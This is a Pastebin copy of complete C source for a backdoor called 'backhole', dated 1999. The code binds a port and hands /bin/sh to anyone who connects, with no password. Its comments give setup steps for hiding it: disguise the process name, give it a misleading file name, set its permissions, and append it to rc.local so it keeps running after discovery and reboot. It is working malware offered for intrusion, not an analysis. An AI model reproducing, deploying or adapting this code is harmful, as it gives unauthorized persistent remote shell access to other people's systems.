Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.97 KB | None | 0 0
  1. /*
  2. I needed a basic backdoor and most of the ones I ran across had so
  3. many bells and whistles, or were coded in eLe3t c0d3 that they were
  4. useless. I didn't need something that took a week to figure out and
  5. configure, and I didn't need shit that was made as a joke. This is a
  6. small, portable, and functional fake daemon. You tell it what you want
  7. it to run as under 'ps' and what port to bind to in the defines below.
  8. The smart thing to do would be to put this into the rc files so it will
  9. start up if they find you and reboot. I'd also change it's name to
  10. something no one will suspect. PS. if you think this is gay, (filtered) you..
  11.  
  12. to complie:
  13. # gcc backhole.c -o backhole
  14.  
  15. to run:
  16. # ./backhole &
  17. i.e. # mv backhole /some/path/fakemail
  18. # chmod 4770 /path/to/fakemail
  19. # echo "/path/to/fakemail &" >> /etc/rc.d/rc.local
  20. # /path/to/fakemail &
  21.  
  22.  
  23. coded by Bronc Buster
  24. Feb 1999
  25. */
  26.  
  27. #include <stdio.h>
  28. #include <errno.h>
  29. #include <signal.h>
  30. #include <stdlib.h>
  31. #include <netinet/in.h>
  32. #include <sys/types.h>
  33. #include <sys/socket.h>
  34. #include <strings.h>
  35.  
  36. /*****************************************************/
  37. /* Changes these two defines or this won't work! <g>*/
  38. /*****************************************************/
  39.  
  40. /* Change P to be the port you want this to listen on */
  41. #define P 12345
  42.  
  43. /* Change HIDE to the name you want this to show as in a ps */
  44. #define HIDE "I_did_not_change_HIDE"
  45.  
  46. #define SH "/bin/sh"
  47. #define LISTN 5
  48.  
  49. int main(int argc, char **argv)
  50. {
  51.  
  52. /* welcome mesg */
  53. char *fst = "\nConnected!\n\n";
  54. char *sec = "This fine tool coded by Bronc Buster\n";
  55. char *thr = "Please enter each command followed by ';'\n";
  56.  
  57. int outsock, insock, sz;
  58.  
  59. /* set up two structs for in and out */
  60. struct sockaddr_in home;
  61. struct sockaddr_in away;
  62. /* set port, proto and bzero for BIND */
  63. home.sin_family=AF_INET;
  64. home.sin_port=htons(P);
  65. home.sin_addr.s_addr=INADDR_ANY;
  66. bzero(&(home.sin_zero),8);
  67.  
  68. /* changing the name that will appear */
  69. strcpy(argv[0],HIDE);
  70.  
  71. /* catch the SIG */
  72. signal(SIGCHLD,SIG_IGN);
  73.  
  74. /* here we go! */
  75. if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
  76. exit(printf("Socket error\n"));
  77.  
  78. if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
  79. exit(printf("Bind error\n"));
  80.  
  81. if((listen(outsock,LISTN))<0)
  82. exit(printf("Listen error\n"));
  83.  
  84. sz=sizeof(struct sockaddr_in);
  85.  
  86. /* infinate loop - wait for accept*/
  87. for(;;)
  88. {
  89. if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
  90. exit(printf("Accept error"));
  91. if(fork() !=0)
  92. {
  93. send(insock,fst,strlen(fst),0); /* send out welcome mesg */
  94. send(insock,sec,strlen(sec),0);
  95. send(insock,thr,strlen(thr),0);
  96. dup2(insock,0); /* open stdin */
  97. dup2(insock,1); /* open stdout */
  98. dup2(insock,2); /* open stderr */
  99. execl(SH,SH,(char *)0); /* start our shell */
  100. close(insock);
  101. exit(0); /* all done, leave and close sock */
  102. }
  103. close(insock);
  104. }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement